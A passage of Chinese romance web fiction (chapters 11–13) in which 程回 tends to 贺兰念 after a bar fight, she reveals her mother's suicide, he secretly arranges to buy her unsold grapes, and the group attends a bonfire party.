其实李折能感觉到这次回来的程回变化挺大的,他变得更加平静和冷漠,好像什么事情都不值得他看上两眼。
有点像......行尸走肉。
李折难过了好一阵。
好多年不曾看到程回这般失去理智的样子,李折心情还挺复杂的。
他视线落在贺兰念额头的伤口上,看起来像是撞在门棱上,撞得有点狠,现在出现一道殷红的淤血,几乎从额头切到眉心往下,破的皮都有一厘米长。
程回是因为这道伤口吧?李折在心里想。
看了眼桌上昏过去的杨总,李折不难猜出事情起因,他丝毫不同情老男人,私底下不知道祸害了多少小姑娘。
李折走过去,对程回说,“先带贺小姐去处理一下伤口吧,小心感染。这边我来处理。”
他看向包厢里的其他人,“抱歉了各位,我可能需要检查一下你们的手机。刚才你们什么都没看见,我也不希望有相关视频流出去。懂了吗?”
李折朝身边的朋友使了个眼色,几个人高马大来参加越野赛的朋友走过去,一个一个检查手机,删视频。
包厢里噤若寒蝉,李折让人把桌上昏迷的杨总送去医院。
在李折的提醒下,程回终于拉回神智,他丢掉起酒器,抓住贺兰念的手腕,离开包厢。
程回的情绪依旧不太正常,贺兰念没敢挣扎。
她被程回拉到停车场,塞进副驾,越野车
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在空旷的夜色中往医院而去,车速惊人,但很稳。
程回把贺兰念带到最近的医院挂急诊,值班医生是一个四十多岁话很多的阿姨。
她边说话边给贺兰念揉药酒散淤血,动作不轻,疼得贺兰念直冒冷汗。
“轻点。”程回看起来情绪很不好,语气也算不上友好。
“你还跟我凶起来了?”阿姨看向程回,“大晚上带着对象打架你还挺厉害?年轻人遇事要冷静,不要逞一时意气就打架斗殴,这么漂亮的脸,万一以后留了疤,你说说你后悔不。”
程回:“......”
她把矛头对准程回,说了好一通。
程回看起来情绪很差,贺兰念担心他要生气,但他竟然一声没吭,全都受着。
贺兰念偷偷看了程回一眼,还挺惊奇的。
“你这小姑娘还笑!”阿姨面露无奈叹了一口气,“看着是个稳重的,怎么也这么冲动?都这么冲动以后日子怎么过?还好这次伤口不深不用缝针,留了疤多难看。”
“我——”贺兰念想解释跟程回的关系,却被程回打断。
“不会留疤。”程回语气笃定又认真,仿佛在说誓言。
碰上程回漆黑的眼睛,贺兰念抿了抿唇,笑意已收。
过了会儿,程回起身,出去了。
直到贺兰念上好药贴敷上纱布,程回一直没回来。
外面夜色已浓,贺兰念独自站在医院大厅出口,想着程回不会就这么把她丢在这里了吧?
贺兰念从急诊楼出来看见程回的时候,他正在吸烟。
这个时候这种小地方晚上几乎没有人,整个医院只开了零星几盏灯,程回坐在一个长椅上,微微仰着头盯着头顶那盏昏黄的灯,黑发染成暖色,被风吹散。
听到脚步声,程回转头看了贺兰念一眼,随后把烟捻灭在垃圾桶上的灭烟缸里,里面已经有十几个烟头。
“贺兰念,刚才为什么不直接跑?”程回重新看向贺兰念,眼中逐渐染上烦躁,“回什么头?”
听到程回近乎训斥的语气,贺兰念少见有点生气。
“......下次会跑的。”
要是知道他有如此恐怖的实力,她肯定......肯定......
程回怔了一下,沉默下来,看起来更烦躁了。
他手伸进裤袋又摸出一根烟,在指尖转了好几圈,却没点燃,扔进了垃圾桶。
程回起身,往停车场走。
“你还载我吗?”贺兰念问。她能感觉出来程回好像很生气,但贺兰念不知道为什么。
“......不然你在这里喂狼?”程回回头,看起来气到暴躁。
贺兰念环顾四周,道:“这里晚上没有狼,外面戈壁才有。”
程回气笑了,“那我恭喜你?”
“......不用。”贺兰念确定,程回确实非常生气,跟自己有关。
“你的手受伤了,我给你拿了药,你要不要涂?”
程回的手被玻璃划伤,此刻还在不断往下滴血,看起来有点恐怖。
“不用。”程回拒绝后继续往停车场走。
微风吹得有点凉,贺兰念拿脚尖磕了磕地面,有点无措。
“其实再来一次,我还是会回头找你。”贺兰念低声说,“我怕你一个人,被他们打死。”
赌什么气呢,再来一次,她还是做不到抛下程回一个人跑掉。
程回的背影僵住。
少顷,又有点哭笑不得。
想到什么,他嘴角的笑慢慢散了。
贺兰念应该真的怕,死这个字眼吧。
11. Chapter 11
程回转身走到贺兰念身边,道:“药呢?”
贺兰念抬头,怔愣了下,很快将手中的药举到程回眼前。
“......”
程回接过药,重新坐到那张长椅上。
他年少时打架经常受伤,这点伤对他来说根本不算什么。
他随意把药洒在伤口,纱布也是胡乱缠了两下,也不系,就那样曲指握住,全程眉头都没动一下。
其实贺兰念强迫症不算严重,但却看着程回乱七八糟的包扎方式,越来越难受。
她忍不住开口:“你要是不方便,我帮你吧。”
正欲起身离开的程回闻言顿住,他很快又坐下,朝贺兰念伸出那只受伤的手。
贺兰念半蹲在程回身前,拧着眉拆掉惨不忍睹的纱布。她先用棉签把程回没有洒上药的地方涂上药,又抹去多余的药水。
程回垂眸看她,看不清眼底情绪。
“贺兰念,我打的那个人,他不会再跟你合作了。”程回道。
贺兰念轻“嗯”了一声,她抹药的动作未停,头顶橙黄的灯光落在她身上,温暖的让人心动。
“我知道。是我先不想跟他合作的。”贺兰念说。
夜色一片孤寂,偶有虫鸣蛙叫,大约有一两分钟,两人谁都没有说话。
生锈的路灯滋滋作响,世界被微弱的光切割成两半:圈内是他们,圈外是庞大无边、沉默的黑暗。
程回冰凉的手指,时不时拂过一抹柔软、温热......相触的刹那,如电流迅速窜上他的手臂,激起无声的战栗,直抵心脏。
程回眼睛完全落在贺兰念身上,一眨不眨,视线一寸一寸在贺兰念脸上过,她如远山的眉,她低垂眼睫上沾染的细微光尘,挺拔秀丽的鼻梁......
头顶的路灯就在这时猛地闪烁了两下,像垂死之人急促的喘息。就在这明灭不定的瞬间,程回的视线被一股无法抗拒的力量攫住,牢牢定焦在贺兰念的唇上。
一种陌生的、滚动的冲动,毫无预兆在程回胸腔深处轰然炸开,像沉睡的火山骤然苏醒。
血液在耳膜里奔涌喧嚣,盖过了夜风,盖过了电流的嘶鸣,只剩下心脏沉重而狂野的撞击声,一下,又一下,擂鼓般催促着程回,他几乎控制不住自己,疯狂的想要什么。
程回低头,慢慢、慢慢靠近贺兰念,他很快闻到贺兰念发间清香。
僵了下,程回任由那股清香流窜他的四肢百骸......似某种隐秘的叩问,让他的自制岌岌可危。
他想靠近贺兰念......想靠近贺兰念......
这个想法在程回血肉里疯长!
“我爸爸去世后,妈妈生了很重的病,需要动手术,但是家里已经没有钱了。”
贺兰念突然的声音让程回骤然一惊,他手指猛地蜷缩了下,然后在贺兰念抬起的清透的目光中,渐渐平息掉内心涌起的潮动。
贺兰念的声音在夜色中染上凉意,清透,平和......没有人知道,这是她家庭变故后,第一次对别人提及这件事。
“那段时间有一些人找到我,说只要我给他们当情人,就可以出妈妈的医药费。”贺兰念没察觉什么,她扯着嘴角对程回笑了一下,“这种事是不是挺俗套的。”
“我也没想到这种事会发生在我身上,但它就是发生了。”贺兰念声音低了下去,“我就想,跟妈妈的命比,不过情人而已。”
“但是我妈妈不同意,她宁愿死也不同意。”
听到了贺兰念清浅的鼻音,程回心脏猛地一缩,下意识伸手捧住贺兰念的脸抬起。
贺兰念陷在情绪里,她垂着眼睑,没看程回,也克制着没让眼泪流下来。
程回的手僵住,另外一种陌生的情绪一股脑涌向他。
这一刻,程回只觉心脏似被无数针扎过,密密麻麻的痛,连呼吸都要凝滞了。
贺兰念下意识挣扎,想摆脱程回的手,程回却一只手捧住她的下巴,一只手蒙住了她的眼睛。
少顷,程回手心湿润。
万籁寂静,贺兰念连哭泣都是无声的,身体却因为极度克制止不住颤抖。
那盏灯光下,她单膝半蹲,被半托着脸仰头,程回微微弯下腰,垂着头,视线凝在她脸上,眼中情绪翻涌。
“妈妈一直跟我说,爱情是伟大的,爱情在一个人的生命中应该是至高无上的。”贺兰念声音嘶哑低吼,“可是,我不明白,爱情比她的生命还重要吗?比她的孩子还重要吗?”
“明明,明明邻居都凑出了手术的钱,她却不要做,她还是要去死。”
她母亲不是因病去世。
她是自杀的!
她活不下去了,她放弃手术自杀了!
是贺兰念不愿意承认妈妈是殉情而死。
她一直不愿意接受这一点。
是因为她不愿意接受,妈妈真的抛弃了她,留她一个人在这个世界活着。
她讨厌爱情!
她真的好讨厌爱情!
为什么她的妈妈可以为了爱情抛弃她!
......
程回却听得一怔,贺兰念妈妈手术的钱是邻居凑的?所以她这般不计回报的帮他们直播卖葡萄?
贺兰念克制着哽咽说不出话来,程回却瞬间明白她刚才那段话隐藏的意思,以及未完的话。
所以,因为妈妈的事情,当做杨总的情人和邻居的葡萄订单再次摆在贺兰念面前的时候,她去选择订单,而不是自己的感情。
不仅仅为了邻居的葡萄,贺兰念还在对抗她的母亲,对抗她母亲从小给她灌输的,爱情至上的观念。
因为这个理念,曾让她深深的痛苦。
程回想起程英纵。程回大概比任何人都清楚,幼年被人刻到骨子里的东西,有多难改变。
正如,贺兰念厌弃珍惜自己的感情,却还是拒绝了杨总。
“除了葡萄园,贺兰念,你还想要什么?”程回问。
贺兰念思绪实在太过混乱,情绪的起伏让她头脑发胀,很疲惫。
程回的话在她脑海滑过,她根本没有注意那句“除了葡萄园”,只是下意识觉得程回这句话问的不合适。
发觉自己的脸还在程回手上,贺兰念彻底清醒过来,她快速拨开程回的手,起身后退几步,无声拉开距离。
贺兰念捏了捏发烫的耳根,道:“我想回家了。”
*
回家的路成了煎熬。
想到自己的行为,贺兰念恨不得钻进副驾的真皮座椅里面。
好丢人......
车子刚驶进农场门口,还未停稳,贺兰念就拉开车门跳下了车。
她忍着快步离开的冲动强行站住脚步,对车里的程回说了声:“谢谢。”
七月末的盛夏,天上挂满了繁星,夜很静,农场菜地和草丛里发出阵阵虫鸣。
道完谢,贺兰念甚至没有等程回回复,转身往家里走。
独自坐在堂屋门前台阶等人的惜儿听到车声跑出来,她一眼看见贺兰念额头的伤,吓得愣住。
“念念,你受伤了......”惜儿脸色惨白,泪唰得落下。
贺兰念心疼的把惜儿抱在怀里,柔声道:“没事的惜儿,只是出门的时候没注意碰到门了。”
“所以,惜儿下次也要等门完全打开再出去哦~”贺兰念顺势转移重点。
惜儿抬了抬手,相碰又不敢碰的盯着贺兰念的伤口,“真的吗?那念念现在还疼吗?惜儿给念念吹吹,吹吹就不疼了......”
感受到惜儿小心翼翼的呼呼,贺兰念眼底涌起一股酸意。
为了转移惜儿注意力,贺兰念想起惜儿喜欢的程回,于是,她拍了拍惜儿的背,道:“是你喜欢的那个大哥哥送我回来的哦,要不要去见见大哥哥?”
果然,大哥哥这三个字吸引了惜儿的注意。
“大哥哥?在哪里?”惜儿朝门外看。
贺兰念只得抱着惜儿走到门口。
程回还没走。他不知道什么时候下了车,正靠在车上静静盯着她们,目光幽邃、深远......
这一刻,贺兰念有种强烈的感觉,程回不像在看她们,而是通过她们,看回忆里的什么人。
很悲伤。
感觉到程回周身散发的悲伤,贺兰念蹙了下眉。
惜儿贪恋贺兰念的抱抱,又想去程回那里,就在贺兰念怀里扯着身子往程回那里靠。
“大哥哥,我们好久没见了对吧?惜儿很想大哥哥,大哥哥有没有惜儿呀?”说着惜儿试探着伸手又缩回去,想
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让程回抱。
有好几秒,程回没动。
贺兰念始终不明白为什么惜儿这么喜欢程回,她平日对陌生人绝不是这样热情的模样。
看着程回没打算伸手的样子,贺兰念有点心疼惜儿,她还不到四岁......一边又想着,每个人都有不接受别人感情的权利,不喜欢孩子并没有什么错。
贺兰念不动声色握住惜儿蠢蠢欲动的手,道:“好了,现在看到大哥哥了。太晚了,我们回去睡觉吧?哥哥也要回去睡觉了。”
顿了一下,她小心讨好道,“今天讲《阿吉娜》好不好?”
惜儿有点失落,她重新趴到贺兰念肩上,小声道:“好吧。”
虽然有点伤心,惜儿还是抬了抬头跟程回道别,“那大哥哥再——”
“见”字还没有说出口,看见程回朝她伸出双手,刹那间,惜儿眼睛比天上的星星还明亮。
她放开贺兰念,探着身子找程回。
一到程回怀里,惜儿立马紧紧抱住了程回的脖子。
这是她抱人的习惯,总是很用力,像是要用尽全身的力气。
程回身体僵了下,几乎不可察觉。
贺兰念注意到了。然后她看着程回另外一只无处安放的手僵在半空好一会儿,最后机械般落到惜儿背上,动作生疏的轻轻拍了两下。
“大哥哥,你身上好香哦~”惜儿小鼻子不自觉嗅了嗅程回的衣服,开心说,“跟念念一样香。”
贺兰念:“......”她好像听过这句话,但是只说给她听就好了,现在当着程回的面说出来,总觉得很尴尬。
“......”程回神色不自然僵了下,他看了贺兰念一眼,低声道:“是吗?”
他看起来心情不错。
“......”想到一小时前冷脸的程回,贺兰念沉默,她搞不懂程回的情绪开关。
“那大哥哥,我们是朋友了吗?”惜儿眼睛亮晶晶问,“你以后可以来找我玩吗?”
“......”程回“嗯”了一声。
“如果你没有人陪的话,我也可以跟念念一起去找你玩哦~”惜儿补充。
这次,程回愣了一下,他眼尾微弯,语气几近认真道:“好。”
贺兰念:“......”她还没答应。
惜儿一直粘着程回说东说西,贺兰念害怕程回不自在,便走过去欲接过惜儿,道:“抱好了吧?”
呃......这话听着怎么不太对劲?有股她没抱到的酸感......她绝无此意!
“该回家了。”
“不要!”惜儿又精神饱满的样子,耍起赖皮来,抱着程回不撒手。
贺兰念些许无奈,“我们该回去睡觉了。哥哥也要睡觉的。”
她说完这句话,程回好像笑了一下,有点邪气,看得贺兰念后脊发颤。
贺兰念快速从程回怀里抱过惜儿,摆手告别。
“那……再见。你回去小心。”贺兰念对程回说。
听到背后程回的哼笑声,贺兰念不自觉加快了脚步。
“大哥哥再见!”惜儿对程回摆手。
今天太晚了,几乎贺兰念一把惜儿放到床上她就睡着了。
贺兰念摸了摸惜儿的脸,取来温水小心翼翼擦了擦她的脸手和脚。
等她自己也洗漱好去关堂屋的门,不经意看向院外,却看见了程回。
农场低矮的篱笆门完全遮不住那辆黑夜中显得异常庞大凶悍的越野车,程回依靠着车,一身黑衣几乎与车身融为一体,微扬着漂亮的下巴,眼神虚淡的望着天上某颗繁星,肤色在月光下近乎皎洁。
他手臂偶尔抬一下,指尖燃烧的烟头在猩红和暗淡间反复。
四周亘古辽阔的荒原戈壁风声鹤唳,刹那间仿佛时间无情流转,徒留一世又一世的荒凉和孤寂。
程回吸烟太凶了。
仿佛刻意借尼古丁的镇静效果,压制一些不正常的情绪。
不知是不是听到关门声,程回低头望过来。
隔着篱笆,农场,院落和那颗大枣树,四目相对,他的眼神虚实不清。
不知是不是月色太迷幻,贺兰念眼中,程回似被涂了一层图层,遥远的像在另一个时空。
贺兰念抓着门框的手一紧。
12. Chapter 12
梦境。
八九十年代装修风格的夜总会休息间,四岁的程回坐在椅子上低着头看书,酒红色复古的尼绒椅子有点高,他两只脚还碰不到地面,但并未像某些不安分的小孩晃晃悠悠,他始终安安静静垂着。
休息室那扇紫红色钉着铆钉的厚重房门又被人推开,程回没抬头,一页内容看完又翻了一页。
“小回回,又看什么书呢?”浓妆艳抹的女人端着一个果盘,大咧走到程回身边,一把抓住程回手里的书抬起看了看扉页。
“《蓝筹孩子》?什么玩意?看得懂吗你?姐姐不是给你买了那个什么格徒童话,怎么不拿来看?”女人把水果放到程回手边,“喏,先别看了,来吃点水果。”
女人一屁股坐在宝蓝色人造皮革沙发上,沙发上堆满了颜色杂乱的衣服,她随手扒拉了两下腾出一个位置,几件衣服掉在地上也不管。
她从口袋里摸出一根烟欲点上,看了程回一眼,又收了起来。
“小回回,给姐姐拿颗糖呗~”女人指了指茶几上扔得口香糖。
程回似早已习以为常,他动作熟练放下书跳下椅子,拿糖之前顺便捡起掉在地上的衣服,随后抽出一片口香糖递过去。
女人酒喝太多把糖塞进嘴里就疲惫的闭上了眼睛,手还抬着道:“怎么这么乖啊?过来让姐姐摸摸~”
程回没理会她,又坐回椅子上拿起书看起来,看起来丝毫没有受到女人的干扰。
女人眯着眼睛睁开一条缝看了一眼,咧唇笑着“啧”了一声,“我们家小回回长这么帅,还这么厉害,以后要迷倒一群女孩子了~”
不知想到什么她又恼起来,“男人都是王八蛋!”
程回抬头看她一眼,女人揉了揉太阳穴,看起来头痛厉害的样子。
“都不是什么好玩意!”
“小回回,长大不可以骗女孩子的心哦~长得帅也不行!”
......
女人嘟嘟囔囔陷入沉睡,过了一会儿,程回放下书起身,从沙发里找出一条毯子盖在她身上。
接下来大半个小时,这间不大的休息室有人来有人离开,来来往往匆匆忙忙像电影镜头,几乎每个来这间休息室的人都要抱怨一句,——男人都特么是混蛋|王八蛋|死东西!
只有程回始终坐着未动。
直到厚重的门再次被人推开。
“小回宝贝!”女人鲜活的声音一瞬间充盈这间看起来混乱的休息室。
程回抬头看向女人。
女人身材修长皮肤白皙,穿着一件玉色的修身长裙,她眼睛清透,鹅蛋脸很是清丽,没有丝毫风尘味。
她先走到程回身边亲昵的抱了抱他,笑着问:“有没有想妈妈啊?”
放开程回后她从衣架上拿起一件黑大衣披上,踢掉脚上的高跟鞋换上平底鞋,一套动作行云流水,最后抓起一个容量很大的包包。
程回把书装进书包,准备背起书包时被一只细长的手抓住,随手放进了她包里。
“走了!回家了!困了吧?”女人牵住程回的手往外走。
“筠姐?要走了?”沙发上睡着的女人半睡半醒间爬起来,一把抱住程回妈妈,几乎郑重说了句,“谢谢。今天又辛苦你了。”
“说什么呢?”她安抚般温柔拍了拍女人的后背,柔声说,“再去睡一会吧,我们之间不需要说这些。”
女人长舒一口气放开她,两人对视一笑,一切都在不言中。
“小家伙,要听妈妈的话,要对妈妈好哦~”女人对程回说。
两人离开包厢。
一大一小的身影一次又一次经过彩色的射灯、旋转球灯、深红、宝蓝、紫罗兰绒布搭配黑色皮革的沙发、金色饰边的玻璃镜面墙、霓虹灯管......时光在这片天地流转,又来到人来人往的街头。
经过数间卖杂货卖吃的小店铺,女人偶有停留,穿到这家店给程回买点吃的,又钻进那间小铺买件衣服......
——
午夜梦回,程回慢慢睁开眼睛。
他没有开灯,躺在昏暗的房间,就那么一动不动盯着天花板,仿佛他动一下,梦中残存的温暖就要散掉......他一直盯着天花板,盯得眼睛发酸,始终不愿回到现实。
不知过了多久,他脑海慢慢浮现一道克制的低低的,像走投无路的小兽一般的呜咽......手心柔嫩湿润的触感依旧清晰可感,他甚至能还能感受到,趴在他手心哭泣的女孩克制不住的颤抖。
程回心脏不可抑制一阵抽痛。
拿起放在床头的手机,程回拨了一通电话。
电话接通,苏馥以为程回要听工作报告,虽然现在已是半夜,但作为打工人,苏馥很快整理好思绪,汇报道:“程少,我这边已经疏通好了,不会再有商家去贺兰小姐那里收葡萄,贺兰小姐坚持不了多久——”
程回打断她,声音低哑道:“你去收那些葡萄。”
“......”苏馥少见情绪外泄,讶异的声音都高了一度:“什么葡萄?贺兰小姐卖不出去的那些葡萄?不收购葡萄园了?”
程回沉默片刻,没正面回答苏馥的问题,只道:“我给你个号码,你去联系他,不管是新建贸易公司还是重新找经销商,他会给你最佳方案。”
“钱不是问题。”程回补充了一句。
苏馥第一次大脑宕机,只剩一片空白:“......哦,好,好的——,那让贺兰小姐知道是你帮她吗?”
“......不用。”程回说,“你出面去办。”
苏馥小心翼翼问:“葡萄园还要收购吗?”
苏馥不确定自己有没有听错,她好像听到程回“嗯”了一声。
电话被挂断。
苏馥坐在床边好半天没有反应过来,怎么也想不通程回为什么突然要帮贺兰念,明明这几天对她的收购都持冷眼旁观的态度......
这是,心软了?
*
第二天,贺兰念直播的时候接到杨总的电话,他叫嚣着让贺兰念立马过去求他原谅,不然肯定会报复她!
贺兰念想挂断,但想到他可能找程回的麻烦......况且这件事总要有个解决,便说了句:“我会去找你。”
挂断电话的贺兰念站着发了会儿呆,想这件事该怎么解决。
最后想来想去,如果杨总执意找他们麻烦,那她也只能报警,但是这样的话,程回打人的事......不知道会不会麻烦?
贺兰念一时陷入两难。
下播前,贺兰念向粉丝表达了感谢,因为要处理收购的事,她说明接下来几天暂时不开播。
刚下播,一个陌生号码打来,贺兰念以为是买葡萄的商家,点了接通。
听筒里传来一道清爽的男声,“贺兰念,找到你的电话真不容易呀!”
“你是?”贺兰念没听出青年的声音。
“OhNo!这么快就把我忘了!好伤人~”男人清了清嗓子,含笑道,“我是周砚,我们前几天见过面。”
“哦你好......”贺兰念一时卡壳不知说点什么,想了想问,“你有什么事吗?”
周砚叹了一口气,“别这么客气,搞得我都不好意思邀请你了。”
“......抱歉。”贺兰念便问,“你说邀请?”
“是这样,我们在这边搞了个篝火晚会,你过来玩呗。”周砚诚恳道,“我可以去接你,不会耽误你太多时间的。”
话说到这个地步,贺兰念也不好再拒绝。
“你把地址发给我吧,我自己开车过去。”贺兰念说。
“嗯?你答应了?!”
听筒里传出一道欢呼,贺兰念揉了揉脸,这一段时间她身心一直处于紧绷的状态,去放松一下也好。
贺兰念刚放下手机,程回突然发来了条消息。
程回:【惜儿在家?】
贺兰念一时没懂他的意思:【?】
程回回得很快:【?】
贺兰念脑海灵光乍现,想起昨晚惜儿让程回找她玩,而程回竟然破天荒答应的事。
“......”贺兰念万万没想到程回是个行动派,这就来找惜儿玩了......
但是,惜儿不在家啊!
她跟羊明煦吃过午饭就去越
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野营地玩去了。
贺兰念打字:【你现在要过来吗?】
程回:【嗯。】
贺兰念正输惜儿不在家,程回的消息再次传来。
程回:【七点半过去。】
程回:【陪玩管饭?】
贺兰念:“.........”
贺兰念决定把决定权交给惜儿,给惜儿打去电话,却迟迟没有人接听。
她又给羊明煦打,依旧没人接听。
贺兰念蹙眉,先回了程回消息:【惜儿去越野场玩了,等我联系上她再跟你说。】
程回没有再发消息过来。
贺兰念正准备开车去找惜儿,羊明煦终于发来一条语音,伴随着轰鸣的引擎声。
羊明煦:“我带惜儿来沙地赛车这儿来玩了,惜儿坐在我旁边。声音有点大,刚没听到你电话,我现在让她给你打回去。”
半分钟后,惜儿打来电话,不知是不是喊得太多,她嗓子有点哑。
“念念!”电话里惜儿兴奋的大声喊,“我坐在赛车上!这个车跑得好快!”
贺兰念有点担心,问道:“害怕吗?”
“一点都不可怕,好好玩的!”惜儿说,“念念也过来玩吧。”
默了默,贺兰念问:“系好安全带了吗?”
“嗯嗯!羊哥哥帮我系的。”
一旁羊明煦听出贺兰念的担心,道:“不用担心,后天才正式比赛呢,今天就是跑着玩,没开那么快。”
贺兰念没有养孩子的经验,她希望在确保惜儿安全的前提下,尊重她的意愿,让她尽量活得快乐肆意些。
没有制止惜儿,顿了下,贺兰念说起程回。
“你说程哥哥要来找我玩?”惜儿语气里满是惊喜,突然,她大喊了一声,“程哥哥!!!”
贺兰念:“什么?”
“我看到程哥哥了!”惜儿摇一旁羊明煦的胳膊,“羊哥哥,我们追上程哥哥好不好?”
羊明煦瞬间热血沸腾,“gogogo,追追追!换车坐!!!”
引擎发出的轰鸣声在贺兰念耳边炸开,彻底掩盖住人声,只能隐隐约约听到惜儿的欢呼。
“......”贺兰念把手机放到桌子上,打开扬声器。
等着他们追到程回。
羊明煦说越野赛后天举行......
不自觉的,贺兰念脑海浮现那天吃饭的场景,听程回的意思,他好像只是来参加越野赛的。
那后天,他应该就回去了吧......
“念念?念念??”
惜儿的声音打断贺兰念的思绪,她重新拿起手机,“嗯,我在。”
“念念,你也过来玩吧。”惜儿说,“我让程哥哥去接你。”
“......对不起啊惜儿,我今天答应了别人去篝火晚会,不能过去了。”贺兰念嘱咐,“你跟哥哥玩得时候注意安全,结束的时候我去接你。”
“篝火晚会?”惜儿顿时纠结起来,“我也有点想去......可是,我又想跟哥哥玩。”
贺兰念笑了下,“那等你在那边玩好,我再接你到篝火晚会好不好?”
问题完美解决,惜儿欢呼,“好!最喜欢念念了!”
贺兰念弯了弯唇,“我也最爱惜儿。”
挂断之前,贺兰念突然听到程回的声音。
“你不过来?”程回问。
听筒放大了他声音里的磁性,久久绕在贺兰念耳边,听得她的心微微发紧。
贺兰念“嗯”了一声,她想解释说要去篝火晚会,但想到程回后天就离开了,便觉得没必要,他们的牵扯越少越好。
而且,刚认识几天就在人家手心哭了一场,已经够丢人的了。
不知是不是因为没等到贺兰念的解释,再开口程回声音低沉许多,“什么篝火晚会这么吸引人?说来听听。”
“......同学约的。”贺兰念解释一句便移开了话题,道,“谢谢你带惜儿玩,你要是觉得烦了就给我发消息,我过去接她。”
贺兰念听到程回哼了声。
电话重新回到惜儿手中。
13. Chapter 13
放下手机,贺兰念有点心不在焉,直到手机的震动把她惊醒。
是周砚发来的消息,说篝火晚会八点开始,问她什么时候能到。
贺兰念回了个七点半。
暮色慢慢降下来,贺兰念回家简单收拾下,开着皮卡去了篝火晚会。到的时候,周砚已经在停车场等她了。
贺兰念下车后,周砚的目光在她脸上停了数秒,即便额头粘着纱布,瑰丽的黄昏暮色下,她依然美得让人惊叹。
“你额头怎么了?”周砚关心问。
“......不小心磕到了。”
“无大碍?”
贺兰念摇了摇头。
见贺兰念不想说,周砚没有再问,他很快转了话题,“对了,我看你在直播间卖葡萄,是签了合同帮别人卖吗?”
贺兰念现在卖的是李叔家的葡萄。
“不是。”贺兰念说,“自己家的。”
“怎么样?有你这个大美女在,应该很好卖吧?”
贺兰念嘴角一丝苦笑,只道:“今年葡萄市场不太好。”
周砚有点意外,一时不知道怎么安慰贺兰念。
贺兰念敏锐察觉他的尴尬,主动扯了一个新话头,“我离开学校早,可能忘记了一些同学的名字,待会可能需要你的帮助。”
“这是自然!”周砚爽快应下来,“别担心,我会带着你的。”
“......”贺兰念觉得周砚话里带着暧昧,她轻拧了下眉。
等两人走到目的地,现场已经非常热闹的点起了篝火,看到围着篝火跳舞的人群,贺兰念惊了下,加上当地居民和游客,现场足有百来号人。
周砚也意外道:“本来只找了几个在这里的同学,没想到来了这么多人,看来最近是旅游旺季啊。”
“不过这里的人还挺热情的。”周砚看到不少穿着当地民族服装的人,他神色拘谨看向贺兰念,脸色微红,“那个贺兰念,我们也进去跟他们跳会儿舞吧?”
贺兰念从小住在这里,篝火晚会对于她来说并不新鲜,小时候周边乡镇有什么重要活动点篝火,爸爸妈妈总会带着她和哥哥贺兰承过去玩,贺兰念记得那时候她总是很高兴,一点也不怕生,跑到人群中跳得欢快。
她不自觉愣神,就在这时,身后突然响起惜儿的声音。
“念念~~~”
还没等贺兰念转身,惜儿已经跑到她身边,搂住她的腰亲昵蹭了蹭。
“你怎么过来——”
余光看到一道高大的身影,贺兰念回头,对上程回的视线。
程回看了周砚一眼,又很快移开视线。他走到贺兰念身边,正好挤开原本站在那的周砚。
“要跳篝火舞了吗?”惜儿拉住贺兰念一只手,把另外一只手递给程回,不由分说开始排位置,“程哥哥抓住念念的手,我也抓住念念的手,然后羊哥哥抓住我的手!太好了!可以一起跳舞了!”
没听到自己的名字,李折叫嚣道:“喂小鬼,我呢!”
惜儿探头往程回那里看了看,道:“那李哥哥抓住程哥哥的手好吗?”
“行吧,我将就一下。”
程回没搭理李折,他伸出一只手,视线安静落在贺兰念脸上。
贺兰念目光落在程回手上。
是受伤的那只手。
她以为他会拆了纱布,等她细看,发现竟还是她昨天打的那个蝴蝶结。
抬手。
轻轻握住。
火焰冲天,跃出的星点火光闪烁又消失,歌谣在转圈,暖色照亮了每个人的笑脸,人们尽情唱歌跳舞。
跳到要抬手撒花的动作,贺兰念胳膊抬起,却没能如愿松开手,不知何时,程回已经攥紧了她的手。
程回始终没跳,贺兰念以为他不知道怎么跳。
想了下,贺兰念扯了下程回的手,等程回看向她,便配合民谣的旋律向程回展示舞蹈动作。
贺兰念眉眼蕴着笑意。
程回盯着她。
她眉眼生来清冷,含着丽色,像一副被泼上颜料的水墨画,可这幅丽色的水墨画深处,违和的割裂出悲凉,像曾被刀锋狠狠划破又顽强重组。
于是,笑起来的时候格外震撼人心,几乎明媚的摄人心魄。
程回不由想起第一次看见她,秾丽又清冷的脸,眼眸是沉甸甸的寒郁,不见一丝笑意,会让人不由想起千年前那位让一国之君烽火戏诸侯的宠妃。
他曾想,若是她笑一下,他大概愿意赔上所有。
......
展示完舞蹈动作,贺兰念微微挑了下眉,用眼神询问程回学会没有。
好半天,程回都没说话。
这时,一个外国小哥走到贺兰念身边,绅士的弯腰伸手,邀请贺兰念跳舞。
贺兰念有点不好意思,笑着摆手拒绝了,但那人异常坚持,她不想败了大家的兴致,只好同意。
等她欲走,手却被扯住。
程回并没有特意把她扯回来,他只是没有放手。
贺兰念回头。
“陈回?”
似是被这一声错误的名字唤醒,程回慢慢松开了手。
贺兰念觉得程回有点太沉默了,沉默的不太正常,她不由多看了他几眼,后在外国小哥催促下离开。
外国小哥的韵律感挺强的,两人伴着节奏感极强的民族乐,跳得还算轻松愉悦。
这位外国小哥是个导游,与贺兰念跳完舞,他拿着话筒喊了一声什么,人们便一哄而散涌向篝火,或独身或成双,全都纵情歌舞。
“你舞跳得很好。”
贺兰念回来的时候,听见程回这样说。
“......”贺兰念没想到程回会夸她,下意识回,“小时候跳得多了,就会了。”
“你小时候——”程回顿了下,“经常参加这种聚会?”
贺兰念点点头,她不由想起从前。
那时候爸爸开车,妈妈坐在副驾,她跟贺兰承坐在后面,贺兰承是坐不住的性子,话很多,调皮淘气,总爱逗她。
她那时的性格好像也不似现在这样沉闷,被贺兰承逗烦了,两个人就会吵起来。
那样吵吵闹闹的一路......
后来贺兰念每次想起,总感觉还能感受到从天际吹来的风灌进大开的车窗,吹到他们脸上头发上,那么舒服。
伴着一路青绿的原野和色彩明艳的花朵。
贺兰念唇角动了动,想说点什么,回忆到嘴边,终究又被封禁。
周砚走过来,他看了眼程回,对贺兰念说:“饿了吧?一块过来的同学在那边弄了烧烤,我带你过去?他们都挺想见见你的。”
想着总是要见一见的,贺兰念没有拒绝。
跟惜儿玩闹的李折看见周砚带着贺兰念离开,他走到程回身边,看着周砚的背影疑道:“那小子不会是周砚吧?”
程回扭头看他,“认识?”
李折叹了一口气:“这不是你出国留学那年,我因为成绩太差,被家里老头子勒令重读高一,跟他分到了一个班。”
“不过我不太看得上他。”再看到周砚瞬间破坏了李折的好心情,“就上学的时候一点破事,以后跟你说。”
程回没再问。
“你饿了没?”李折道,“那边不是有烧烤吗?我这也算是他的老同学,一块去吃个烧烤呗。”
